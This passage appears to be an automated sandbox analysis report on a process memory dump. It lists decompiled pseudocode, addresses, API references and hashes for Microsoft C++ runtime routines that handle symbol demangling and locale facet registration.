								goto L15;
							}
							__eflags = _t58 - 5;
							if(__eflags != 0) {
								goto L36;
							}
							_t29 = _t84 + 1; // 0x1777f9
							 *0x179b64 = _t29;
							E0010B9B7(__edx, __eflags, _a4);
							L6:
							goto L16;
						}
						if(__eflags == 0) {
							goto L40;
						}
						_t66 = _t45;
						__eflags = _t66;
						if(_t66 == 0) {
							goto L14;
						}
						_t67 = _t66 - 0x41;
						__eflags = _t67;
						if(_t67 == 0) {
							_t27 = _t84 + 1; // 0x1777f9
							 *0x179b64 = _t27;
							E0010A4D1(_a4, _t95);
							L5:
							goto L6;
						}
						_t70 = _t67 - 1;
						__eflags = _t70;
						if(_t70 == 0) {
							_t25 = _t84 + 1; // 0x1777f9
							 *0x179b64 = _t25;
							E0010B2D8(__edx, _t95, _a4, _t95, 1);
							goto L15;
						}
						__eflags = _t70 != 1;
						if(_t70 != 1) {
							goto L36;
						}
						_t18 = _t84 + 1; // 0x1777f9
						_v20 = 0;
						 *0x179b64 = _t18;
						_v16 = 0;
						E00109163(_a4, E00109615(_t84,  &_v12, _t95, 0x15063e,  &_v20, 0));
						goto L16;
					}
					__eflags = _t44;
					if(_t44 != 0) {
						goto L36;
					}
					goto L14;
				}
				_t95 = _a8;
				_t79 = _t43 - 0x1d;
				if(_t79 == 0) {
					L10:
					_push("&");
					goto L11;
				}
				if(_t79 == 1) {
					E00107C31( &_v12, "volatile");
					__eflags =  *_t95;
					if( *_t95 != 0) {
						E00107E03( &_v12, 0x20);
					}
					_t84 =  *0x179b64; // 0x1777fa
					goto L10;
				}
				E00109163(_a4, _t95); // executed
				goto L5;
			}

0x0010b0f4
0x0010b0fa
0x0010b107
0x0010b10a
0x0010b10d
0x0010b10f
0x0010b195
0x0010b19d
0x0010b1a2
0x0010b1a5
0x00000000
0x0010b1a5
0x0010b115
0x0010b118
0x0010b186
0x0010b186
0x0010b189
0x0010b18b
0x0010b1ac
0x0010b1af
0x0010b1b2
0x0010b1b8
0x0010b1bb
0x0010b1be
0x0010b238
0x0010b238
0x0010b23b
0x0010b2b5
0x0010b2ba
0x0010b2bc
0x0010b2c3
0x0010b2c3
0x0010b2c8
0x0010b2ce
0x0010b2ce
0x0010b15a
0x0010b15d
0x0010b160
0x0010b168
0x0010b16e
0x0010b174
0x0010b178
0x0010b179
0x0010b17c
0x00000000
0x0010b181
0x0010b23d
0x0010b23d
0x0010b240
0x0010b294
0x0010b297
0x0010b29c
0x0010b29c
0x0010b29f
0x0010b2a2
0x0010b2a6
0x00000000
0x0010b2a6
0x0010b242
0x0010b242
0x0010b245
0x0010b261
0x0010b264
0x0010b269
0x0010b26b
0x0010b26d
0x0010b28a
0x00000000
0x0010b28a
0x0010b278
0x00000000
0x0010b278
0x0010b247
0x0010b24a
0x00000000
0x00000000
0x0010b24f
0x0010b252
0x0010b257
0x0010b131
0x00000000
0x0010b131
0x0010b1c0
0x00000000
0x00000000
0x0010b1c6
0x0010b1c6
0x0010b1c8
0x00000000
0x00000000
0x0010b1ca
0x0010b1ca
0x0010b1cd
0x0010b226
0x0010b229
0x0010b22e
0x0010b130
0x00000000
0x0010b130
0x0010b1cf
0x0010b1cf
0x0010b1d2
0x0010b213
0x0010b216
0x0010b21b
0x00000000
0x0010b21b
0x0010b1d4
0x0010b1d7
0x00000000
0x00000000
0x0010b1dd
0x0010b1e0
0x0010b1e3
0x0010b1f5
0x0010b203
0x00000000
0x0010b208
0x0010b18d
0x0010b18f
0x00000000
0x00000000
0x00000000
0x0010b18f
0x0010b11a
0x0010b11d
0x0010b120
0x0010b155
0x0010b155
0x00000000
0x0010b155
0x0010b125
0x0010b13c
0x0010b141
0x0010b143
0x0010b14a
0x0010b14a
0x0010b14f
0x00000000
0x0010b14f
0x0010b12b
0x00000000

APIs

UnDecorator::getBasicDataType.LIBVCRUNTIME ref: 0010B12B
DName::operator=.LIBVCRUNTIME ref: 0010B13C
DName::operator+=.LIBCMT ref: 0010B14A
UnDecorator::getPtrRefType.LIBCMT ref: 0010B17C

Part of subcall function 0010B401: DName::DName.LIBVCRUNTIME ref: 0010B429
Part of subcall function 0010B401: DName::operator+=.LIBVCRUNTIME ref: 0010B44B
Part of subcall function 0010B401: DName::operator+=.LIBVCRUNTIME ref: 0010B458
Part of subcall function 0010B401: UnDecorator::getFunctionIndirectType.LIBVCRUNTIME ref: 0010B464
Part of subcall function 0010B401: UnDecorator::getDataIndirectType.LIBVCRUNTIME ref: 0010B483
Part of subcall function 0010B401: UnDecorator::getPtrRefDataType.LIBVCRUNTIME ref: 0010B498
Part of subcall function 0010B401: DName::DName.LIBVCRUNTIME ref: 0010B4A7
Part of subcall function 0010B401: DName::operator+=.LIBCMT ref: 0010B4B2
Part of subcall function 0010B401: DName::operator+=.LIBVCRUNTIME ref: 0010B4C4
Part of subcall function 0010B401: DName::operator+=.LIBCMT ref: 0010B4DA
Part of subcall function 0010B401: DName::operator+=.LIBVCRUNTIME ref: 0010B4E3

operator+.LIBVCRUNTIME ref: 0010B19D

Part of subcall function 00107D18: DName::DName.LIBVCRUNTIME ref: 00107D23
Part of subcall function 00107D18: DName::operator+.LIBCMT ref: 00107D30

UnDecorator::getDataIndirectType.LIBVCRUNTIME ref: 0010B1FA

Part of subcall function 00109615: UnDecorator::getExtendedDataIndirectType.LIBVCRUNTIME ref: 00109645
Part of subcall function 00109615: DName::operator+=.LIBCMT ref: 001096DB
Part of subcall function 00109615: UnDecorator::UScore.LIBVCRUNTIME ref: 001096E2
Part of subcall function 00109615: DName::operator+=.LIBCMT ref: 00109740
Part of subcall function 00109615: UnDecorator::UScore.LIBVCRUNTIME ref: 00109747
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109755
Part of subcall function 00109615: UnDecorator::UScore.LIBVCRUNTIME ref: 00109769
Part of subcall function 00109615: DName::operator=.LIBVCRUNTIME ref: 00109773
Part of subcall function 00109615: DName::operator+=.LIBCMT ref: 0010979E
Part of subcall function 00109615: UnDecorator::UScore.LIBVCRUNTIME ref: 001097A5
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 001097B3
Part of subcall function 00109615: UnDecorator::UScore.LIBVCRUNTIME ref: 001097C7
Part of subcall function 00109615: DName::operator=.LIBVCRUNTIME ref: 001097D1
Part of subcall function 00109615: UnDecorator::getExtendedDataIndirectType.LIBVCRUNTIME ref: 001097F6
Part of subcall function 00109615: DName::DName.LIBVCRUNTIME ref: 0010984D
Part of subcall function 00109615: DName::operator+=.LIBVCRUNTIME ref: 00109861
Part of subcall function 00109615: DName::operator+=.LIBCMT ref: 00109881
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109891
Part of subcall function 00109615: DName::operator+=.LIBCMT ref: 001098B6
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 001098C6
Part of subcall function 00109615: DName::DName.LIBVCRUNTIME ref: 001098F7
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109906
Part of subcall function 00109615: UnDecorator::getScope.LIBVCRUNTIME ref: 00109925
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109935
Part of subcall function 00109615: DName::DName.LIBVCRUNTIME ref: 00109949
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109958
Part of subcall function 00109615: UnDecorator::getScope.LIBVCRUNTIME ref: 00109979
Part of subcall function 00109615: DName::operator|=.LIBCMT ref: 00109983
Part of subcall function 00109615: DName::operator+=.LIBCMT ref: 001099B6
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 001099EA
Part of subcall function 00109615: DName::operator|=.LIBCMT ref: 00109A0F
Part of subcall function 00109615: DName::DName.LIBVCRUNTIME ref: 00109A21
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109A30
Part of subcall function 00109615: DName::DName.LIBVCRUNTIME ref: 00109A4E
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109A5D
Part of subcall function 00109615: DName::operator+=.LIBCMT ref: 00109A88
Part of subcall function 00109615: DName::operator+=.LIBCMT ref: 00109AB3
Part of subcall function 00109615: DName::DName.LIBVCRUNTIME ref: 00109AEE
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109AFA
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109B08
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109B14
Part of subcall function 00109615: DName::DName.LIBVCRUNTIME ref: 00109B37
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109B43
Part of subcall function 00109615: DName::operator+=.LIBVCRUNTIME ref: 00109B4F
Part of subcall function 00109615: DName::DName.LIBVCRUNTIME ref: 00109BA6
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109BB2
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109BC0
Part of subcall function 00109615: DName::operator+.LIBCMT ref: 00109BCB
Part of subcall function 00109615: operator+.LIBVCRUNTIME ref: 00109BD8
Part of subcall function 00109615: DName::DName.LIBVCRUNTIME ref: 00109BF2

UnDecorator::getBasicDataType.LIBVCRUNTIME ref: 0010B203

Part of subcall function 00109163: DName::operator=.LIBVCRUNTIME ref: 001091C1
Part of subcall function 00109163: DName::operator=.LIBVCRUNTIME ref: 00109255
Part of subcall function 00109163: UnDecorator::getBasicDataType.LIBVCRUNTIME ref: 00109266
Part of subcall function 00109163: operator+.LIBVCRUNTIME ref: 00109274
Part of subcall function 00109163: DName::operator=.LIBVCRUNTIME ref: 0010928E
Part of subcall function 00109163: UnDecorator::getECSUDataType.LIBVCRUNTIME ref: 001092F5
Part of subcall function 00109163: UnDecorator::getPtrRefType.LIBCMT ref: 0010938A
Part of subcall function 00109163: DName::operator+=.LIBCMT ref: 001093A1
Part of subcall function 00109163: UnDecorator::getECSUDataType.LIBVCRUNTIME ref: 001093CE
Part of subcall function 00109163: DName::operator=.LIBVCRUNTIME ref: 001093F0
Part of subcall function 00109163: DName::operator+=.LIBCMT ref: 001093FD
Part of subcall function 00109163: DName::DName.LIBVCRUNTIME ref: 00109452
Part of subcall function 00109163: DName::operator+.LIBCMT ref: 00109461
Part of subcall function 00109163: DName::DName.LIBVCRUNTIME ref: 0010947F
Part of subcall function 00109163: DName::operator+.LIBCMT ref: 0010948B
Part of subcall function 00109163: DName::operator+=.LIBVCRUNTIME ref: 00109497
Part of subcall function 00109163: DName::operator=.LIBVCRUNTIME ref: 001094C2
Part of subcall function 00109163: DName::operator+=.LIBCMT ref: 001094D3
Part of subcall function 00109163: DName::operator=.LIBVCRUNTIME ref: 001094E6
Part of subcall function 00109163: UnDecorator::getPtrRefType.LIBCMT ref: 001094FB
Part of subcall function 00109163: operator+.LIBVCRUNTIME ref: 0010950D

UnDecorator::getPtrRefDataType.LIBVCRUNTIME ref: 0010B21B

Part of subcall function 0010B2D8: DName::DName.LIBVCRUNTIME ref: 0010B30E
Part of subcall function 0010B2D8: operator+.LIBVCRUNTIME ref: 0010B321
Part of subcall function 0010B2D8: UnDecorator::getArrayType.LIBVCRUNTIME ref: 0010B385
Part of subcall function 0010B2D8: UnDecorator::getBasicDataType.LIBVCRUNTIME ref: 0010B397
Part of subcall function 0010B2D8: DName::DName.LIBVCRUNTIME ref: 0010B3AF
Part of subcall function 0010B2D8: DName::operator+.LIBCMT ref: 0010B3BE
Part of subcall function 0010B2D8: operator+.LIBVCRUNTIME ref: 0010B3F4

UnDecorator::getFunctionIndirectType.LIBVCRUNTIME ref: 0010B22E

Part of subcall function 0010A4D1: DName::DName.LIBVCRUNTIME ref: 0010A57D
Part of subcall function 0010A4D1: DName::operator+.LIBCMT ref: 0010A58C
Part of subcall function 0010A4D1: UnDecorator::getScope.LIBVCRUNTIME ref: 0010A5AB
Part of subcall function 0010A4D1: DName::DName.LIBVCRUNTIME ref: 0010A5B8
Part of subcall function 0010A4D1: DName::operator+.LIBCMT ref: 0010A5C4
Part of subcall function 0010A4D1: DName::operator+.LIBCMT ref: 0010A5D4
Part of subcall function 0010A4D1: DName::DName.LIBVCRUNTIME ref: 0010A5E8
Part of subcall function 0010A4D1: DName::operator+.LIBCMT ref: 0010A5F7
Part of subcall function 0010A4D1: UnDecorator::getThisType.LIBVCRUNTIME ref: 0010A640
Part of subcall function 0010A4D1: DName::DName.LIBVCRUNTIME ref: 0010A678
Part of subcall function 0010A4D1: DName::operator+.LIBCMT ref: 0010A684
Part of subcall function 0010A4D1: DName::operator+.LIBCMT ref: 0010A694
Part of subcall function 0010A4D1: UnDecorator::getThisType.LIBVCRUNTIME ref: 0010A6A6
Part of subcall function 0010A4D1: DName::operator|=.LIBCMT ref: 0010A6B0
Part of subcall function 0010A4D1: DName::DName.LIBVCRUNTIME ref: 0010A6BC
Part of subcall function 0010A4D1: DName::operator+.LIBCMT ref: 0010A6CA
Part of subcall function 0010A4D1: DName::operator|=.LIBCMT ref: 0010A6DE
Part of subcall function 0010A4D1: DName::operator+.LIBCMT ref: 0010A704
Part of subcall function 0010A4D1: DName::operator|=.LIBCMT ref: 0010A720
Part of subcall function 0010A4D1: DName::DName.LIBVCRUNTIME ref: 0010A730
Part of subcall function 0010A4D1: DName::operator+.LIBCMT ref: 0010A73F
Part of subcall function 0010A4D1: DName::operator+.LIBCMT ref: 0010A74D
Part of subcall function 0010A4D1: _HeapManager::getMemory.LIBVCRUNTIME ref: 0010A765
Part of subcall function 0010A4D1: UnDecorator::getReturnType.LIBCMT ref: 0010A77E
Part of subcall function 0010A4D1: DName::DName.LIBVCRUNTIME ref: 0010A796
Part of subcall function 0010A4D1: DName::operator+.LIBCMT ref: 0010A7A2
Part of subcall function 0010A4D1: DName::operator+.LIBCMT ref: 0010A7B0
Part of subcall function 0010A4D1: DName::operator+=.LIBVCRUNTIME ref: 0010A7B9
Part of subcall function 0010A4D1: DName::operator+=.LIBVCRUNTIME ref: 0010A7D9
Part of subcall function 0010A4D1: UnDecorator::getRestrictionSpec.LIBVCRUNTIME ref: 0010A7F2
Part of subcall function 0010A4D1: DName::operator+=.LIBVCRUNTIME ref: 0010A7FC
Part of subcall function 0010A4D1: UnDecorator::getRestrictionSpec.LIBVCRUNTIME ref: 0010A803
Part of subcall function 0010A4D1: DName::operator|=.LIBCMT ref: 0010A80D
Part of subcall function 0010A4D1: DName::operator+=.LIBVCRUNTIME ref: 0010A820
Part of subcall function 0010A4D1: UnDecorator::getThrowTypes.LIBVCRUNTIME ref: 0010A837
Part of subcall function 0010A4D1: DName::operator+=.LIBVCRUNTIME ref: 0010A841
Part of subcall function 0010A4D1: UnDecorator::getThrowTypes.LIBVCRUNTIME ref: 0010A848
Part of subcall function 0010A4D1: DName::operator|=.LIBCMT ref: 0010A852
Part of subcall function 0010A4D1: operator+.LIBVCRUNTIME ref: 0010A899

UnDecorator::getScopedName.LIBVCRUNTIME ref: 0010B257

Part of subcall function 0010B9B7: UnDecorator::getZName.LIBVCRUNTIME ref: 0010B9D1
Part of subcall function 0010B9B7: UnDecorator::getScope.LIBVCRUNTIME ref: 0010BA00
Part of subcall function 0010B9B7: DName::operator+.LIBCMT ref: 0010BA0D
Part of subcall function 0010B9B7: DName::operator+.LIBCMT ref: 0010BA19
Part of subcall function 0010B9B7: DName::operator=.LIBVCRUNTIME ref: 0010BA53
Part of subcall function 0010B9B7: DName::DName.LIBVCRUNTIME ref: 0010BA5D
Part of subcall function 0010B9B7: DName::operator+.LIBCMT ref: 0010BA69
Part of subcall function 0010B9B7: DName::operator+.LIBCMT ref: 0010BA75

operator+.LIBVCRUNTIME ref: 0010B278

Part of subcall function 00107CF6: DName::DName.LIBVCRUNTIME ref: 00107D01
Part of subcall function 00107CF6: DName::operator+.LIBCMT ref: 00107D0E

DName::DName.LIBVCRUNTIME ref: 0010B28A

Part of subcall function 001079F8: DName::doPchar.LIBVCRUNTIME ref: 00107A1F

DName::operator=.LIBVCRUNTIME ref: 0010B2B5

Part of subcall function 00107C31: DName::doPchar.LIBVCRUNTIME ref: 00107C50

DName::operator+=.LIBCMT ref: 0010B2C3

Part of subcall function 00107E03: DName::DName.LIBVCRUNTIME ref: 00107E1D
Part of subcall function 00107E03: _HeapManager::getMemory.LIBVCRUNTIME ref: 00107E2D
Part of subcall function 00107E03: DName::append.LIBCMT ref: 00107E46

Strings

volatile, xrefs: 0010B134, 0010B2AD
std::nullptr_t , xrefs: 0010B270
std::nullptr_t, xrefs: 0010B285

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Name::operator+$Decorator::get$Name$Name::Name::operator+=$Type$Data$Name::operator=$operator+$Name::operator|=$Indirect$Decorator::Score$BasicScope$ExtendedFunctionHeapManager::getMemoryName::doPcharRestrictionSpecThisThrowTypes$ArrayName::appendReturnScoped
String ID: std::nullptr_t$std::nullptr_t $volatile
API String ID: 3445880461-294867888
Opcode ID: e54c64575e311e690ce14d25b176b22a956f6f225f27afce9c4fc0058c7be808
Instruction ID: 844d767ed3aec84201a3904e06348d10a2c4ca1d8e26e1841993a63c1d7e5c04
Opcode Fuzzy Hash: e54c64575e311e690ce14d25b176b22a956f6f225f27afce9c4fc0058c7be808
Instruction Fuzzy Hash: 9351B37180C204AFDB15DF68ED958AD7FBAFF14300B144159F4889B6E2D7B2EA85CB80

Uniqueness

Uniqueness Score: 100.00%

Function 000D893C, Relevance: 28.7, APIs: 19, Instructions: 183
UNIQUE

Download Yara Rule

C-Code - Quality: 51%

			E000D893C(signed int __ebx, void* __edx, void* __edi, void* __eflags) {
				void* _t36;
				void* _t46;
				intOrPtr* _t48;
				void* _t51;
				void* _t53;
				void* _t54;
				void* _t56;
				void* _t57;
				intOrPtr* _t59;
				void* _t61;
				intOrPtr* _t62;
				intOrPtr _t64;
				intOrPtr* _t68;
				intOrPtr* _t69;
				signed int _t71;
				signed int _t72;
				void* _t82;
				void* _t83;
				intOrPtr _t84;
				void* _t85;
				void* _t86;
				void* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t97;
				void* _t98;

				_t82 = __edi;
				_t81 = __edx;
				_t71 = __ebx;
				_t73 = 0x179218;
				_t83 = E00052020(0x179218);
				_t100 = __ebx;
				if(__ebx != 0) {
					_push(__ebx);
					_t36 = E0006C220(__edx);
					_push(_t83);
					_push(_t36);
					_push(__edi);
					E000D87A2(__ebx, __edx, __edi, _t83);
					_t93 = _t92 + 0x10;
				} else {
					_t68 = E000ECF08(_t83, _t100);
					 *((intOrPtr*)(_t91 - 0x10)) = _t68;
					_t73 = 0x18;
					if(_t68 == 0) {
						_t69 = 0;
						__eflags = 0;
					} else {
						_t73 = _t68;
						_t69 = E000526E0(_t68,  *((intOrPtr*)(_t91 + 8)), __ebx);
					}
					_push(_t83);
					_push(_t69);
					_push(_t82);
					E000D87A2(_t71, _t81, _t82, _t83);
					_t93 = _t92 + 0xc;
				}
				if(( *(_t91 + 0xc) & 0x00000008) != 0) {
					_t86 = E00052020(0x1791f8);
					_t103 = _t71;
					if(_t71 != 0) {
						_push(_t71);
						_t51 = E000D74D8(_t71, _t81, _t82, _t86, __eflags);
						_push(_t86);
						_push(_t51);
						_push(_t82);
						E000D87A2(_t71, _t81, _t82, _t86);
						_t53 = E00052020(0x17a5e8);
						_t54 = E0006F680(_t81, _t71);
						_push(_t53);
						_push(_t54);
						_push(_t82);
						E000D87A2(_t71, _t81, _t82, _t53);
						_t73 = 0x17a67c;
						_t56 = E00052020(0x17a67c);
						_t57 = E0006FAB0(_t81, _t71);
						_push(_t56);
						_push(_t57);
						_push(_t82);
						E000D87A2(_t71, _t81, _t82, _t56);
						_t93 = _t93 + 0x30;
					} else {
						_push(8);
						_t59 = E000ECF08(_t86, _t103);
						 *((intOrPtr*)(_t91 - 0x10)) = _t59;
						_t104 = _t59;
						if(_t59 == 0) {
							_t59 = 0;
							__eflags = 0;
						} else {
							 *(_t59 + 4) =  *(_t59 + 4) & _t71;
							 *_t59 = 0x13fb58;
						}
						_push(_t86);
						_push(_t59);
						_push(_t82);
						E000D87A2(_t71, _t81, _t82, _t86);
						_t97 = _t93 + 0xc;
						_t61 = E00052020(0x17a5e8);
						_push(8);
						_t89 = _t61;
						_t62 = E000ECF08(_t89, _t104);
						 *((intOrPtr*)(_t91 - 0x10)) = _t62;
						_t105 = _t62;
						if(_t62 == 0) {
							_t62 = 0;
							__eflags = 0;
						} else {
							 *(_t62 + 4) =  *(_t62 + 4) & 0x00000000;
							 *_t62 = 0x13fb94;
						}
						_push(_t89);
						_push(_t62);
						_push(_t82);
						E000D87A2(_t71, _t81, _t82, _t89);
						_t98 = _t97 + 0xc;
						_t64 = E00052020(0x17a67c);
						 *((intOrPtr*)(_t91 - 0x10)) = _t64;
						_t90 = E000ECF08(_t89, _t105);
						_t73 = 0x18;
						 *((intOrPtr*)(_t91 - 0x18)) = _t90;
						 *(_t91 - 4) = 7;
						if(_t90 == 0) {
							_t90 = 0;
							__eflags = 0;
						} else {
							 *(_t90 + 4) =  *(_t90 + 4) & 0x00000000;
							_push(0);
							_t73 = _t90;
							 *(_t91 - 4) = 8;
							 *_t90 = 0x13fbc4;
							E00072FE0(_t90, _t81,  *((intOrPtr*)(_t91 + 8)));
						}
						_push( *((intOrPtr*)(_t91 - 0x10)));
						 *(_t91 - 4) =  *(_t91 - 4) | 0xffffffff;
						_push(_t90);
						_push(_t82);
						E000D87A2(_t71, _t81, _t82, _t90);
						_t93 = _t98 + 0xc;
					}
				}
				if( *((intOrPtr*)(_t91 - 0x14)) != 0) {
					_t73 = 0x17a614;
					_t85 = E00052020(0x17a614);
					_t108 = _t71;
					if(_t71 != 0) {
						_t46 = E0006F530(_t81, _t71);
						_push(_t85);
						_push(_t46);
						_push(_t82);
						E000D87A2(_t71, _t81, _t82, _t85);
						_t93 = _t93 + 0x10;
					} else {
						_t48 = E000ECF08(_t85, _t108);
						 *((intOrPtr*)(_t91 - 0x18)) = _t48;
						_t73 = 8;
						if(_t48 == 0) {
							_t48 = 0;
							__eflags = 0;
						} else {
							 *(_t48 + 4) =  *(_t48 + 4) & _t71;
							 *_t48 = 0x13ad24;
						}
						_push(_t85);
						_push(_t48);
						_push(_t82);
						E000D87A2(_t71, _t81, _t82, _t85);
						_t93 = _t93 + 0xc;
					}
				}
				_t84 =  *((intOrPtr*)(_t91 + 8));
				_push(_t71);
				_push(_t82);
				_push( *(_t91 + 0xc));
				_push(_t84);
				L000EA933(_t71, _t73, _t81, _t82, _t84);
				_push(_t71);
				_push(_t82);
				_push( *(_t91 + 0xc));
				_push(_t84);
				E000E3605(_t71, _t81, _t82, _t84);
				_push(_t71);
				_t72 =  *(_t91 + 0xc);
				_push(_t82);
				_push(_t72);
				_push(_t84); // executed
				E000E30E4(_t72, _t81, _t82, _t84); // executed
				 *(_t82 + 0x10) =  *(_t82 + 0x10) | _t72;
				_t41 =  *((intOrPtr*)(_t84 + 0x2c));
				if( *((intOrPtr*)(_t84 + 0x2c)) == 0) {
					_t41 = _t84 + 0x30;
				}
				E00064410(_t82 + 0x18, _t84, _t41);
				return E000EDDD7(_t82);
			}

0x000d893c
0x000d893c
0x000d893c
0x000d893c
0x000d8946
0x000d8948
0x000d894a
0x000d8977
0x000d8978
0x000d897d
0x000d897e
0x000d897f
0x000d8980
0x000d8985
0x000d894c
0x000d894e
0x000d8953
0x000d8956
0x000d8959
0x000d8968
0x000d8968
0x000d895b
0x000d895f
0x000d8961
0x000d8961
0x000d896a
0x000d896b
0x000d896c
0x000d896d
0x000d8972
0x000d8972
0x000d898c
0x000d899c
0x000d899e
0x000d89a0
0x000d8a57
0x000d8a58
0x000d8a5d
0x000d8a5e
0x000d8a5f
0x000d8a60
0x000d8a6d
0x000d8a75
0x000d8a7a
0x000d8a7b
0x000d8a7c
0x000d8a7d
0x000d8a85
0x000d8a8a
0x000d8a92
0x000d8a97
0x000d8a98
0x000d8a99
0x000d8a9a
0x000d8a9f
0x000d89a6
0x000d89a6
0x000d89a8
0x000d89ad
0x000d89b1
0x000d89b3
0x000d89c0
0x000d89c0
0x000d89b5
0x000d89b5
0x000d89b8
0x000d89b8
0x000d89c2
0x000d89c3
0x000d89c4
0x000d89c5
0x000d89ca
0x000d89d2
0x000d89d7
0x000d89d9
0x000d89db
0x000d89e0
0x000d89e4
0x000d89e6
0x000d89f4
0x000d89f4
0x000d89e8
0x000d89e8
0x000d89ec
0x000d89ec
0x000d89f6
0x000d89f7
0x000d89f8
0x000d89f9
0x000d89fe
0x000d8a06
0x000d8a0d
0x000d8a15
0x000d8a17
0x000d8a18
0x000d8a1b
0x000d8a24
0x000d8a42
0x000d8a42
0x000d8a26
0x000d8a26
0x000d8a2a
0x000d8a2f
0x000d8a31
0x000d8a35
0x000d8a3b
0x000d8a3b
0x000d8a44
0x000d8a47
0x000d8a4b
0x000d8a4c
0x000d8a4d
0x000d8a52
0x000d8a52
0x000d89a0
0x000d8aa6
0x000d8aa8
0x000d8ab2
0x000d8ab4
0x000d8ab6
0x000d8ae2
0x000d8ae7
0x000d8ae8
0x000d8ae9
0x000d8aea
0x000d8aef
0x000d8ab8
0x000d8aba
0x000d8abf
0x000d8ac2
0x000d8ac5
0x000d8ad2
0x000d8ad2
0x000d8ac7
0x000d8ac7
0x000d8aca
0x000d8aca
0x000d8ad4
0x000d8ad5
0x000d8ad6
0x000d8ad7
0x000d8adc
0x000d8adc
0x000d8ab6
0x000d8af2
0x000d8af5
0x000d8af6
0x000d8af7
0x000d8afa
0x000d8afb
0x000d8b00
0x000d8b01
0x000d8b02
0x000d8b05
0x000d8b06
0x000d8b0b
0x000d8b0c
0x000d8b0f
0x000d8b10
0x000d8b11
0x000d8b12
0x000d8b17
0x000d8b1d
0x000d8b22
0x000d8b24
0x000d8b24
0x000d8b2b
0x000d8b37

APIs

Part of subcall function 000EA921: __EH_prolog3.LIBCMT ref: 000EA93A
Part of subcall function 000EA921: collate.LIBCPMT ref: 000EA943
Part of subcall function 000EA921: int.LIBCPMT ref: 000EA960
Part of subcall function 000EA921: __Getcoll.LIBCPMT ref: 000EA987
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EA99B
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EA9B2
Part of subcall function 000EA921: int.LIBCPMT ref: 000EA9C7
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EA9F2
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EAA07
Part of subcall function 000EA921: int.LIBCPMT ref: 000EAA20
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EAA4F
Part of subcall function 000EA921: int.LIBCPMT ref: 000EAA5C
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EAA82
Part of subcall function 000EA921: int.LIBCPMT ref: 000EAA8F
Part of subcall function 000EA921: _Mpunct.LIBCPMT ref: 000EAAC5
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EAADD
Part of subcall function 000EA921: int.LIBCPMT ref: 000EAAEA
Part of subcall function 000EA921: _Mpunct.LIBCPMT ref: 000EAB21
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EAB39
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EAB4E
Part of subcall function 000EA921: int.LIBCPMT ref: 000EAB5B
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EAB6D
Part of subcall function 000EA921: int.LIBCPMT ref: 000EAB7A
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EAB8C
Part of subcall function 000EA921: int.LIBCPMT ref: 000EAB99
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EABAB
Part of subcall function 000EA921: int.LIBCPMT ref: 000EABC4
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EABFD
Part of subcall function 000EA921: int.LIBCPMT ref: 000EAC0A
Part of subcall function 000EA921: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000EAC30

int.LIBCPMT ref: 000D8941

Part of subcall function 00052020: std::_Lockit::_Lockit.LIBCPMT ref: 00052031
Part of subcall function 00052020: std::_Lockit::~_Lockit.LIBCPMT ref: 0005204B

std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000D896D

Part of subcall function 000526E0: __Getctype.LIBCPMT ref: 000526F9

Part of subcall function 0006C220: std::_Lockit::_Lockit.LIBCPMT ref: 0006C260
Part of subcall function 0006C220: std::_Lockit::_Lockit.LIBCPMT ref: 0006C282
Part of subcall function 0006C220: std::_Lockit::~_Lockit.LIBCPMT ref: 0006C2A2
Part of subcall function 0006C220: __Getctype.LIBCPMT ref: 0006C341
Part of subcall function 0006C220: std::_Facet_Register.LIBCPMT ref: 0006C360
Part of subcall function 0006C220: std::_Lockit::~_Lockit.LIBCPMT ref: 0006C380

std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000D8980

Part of subcall function 000D87A2: __EH_prolog3.LIBCMT ref: 000D87A9
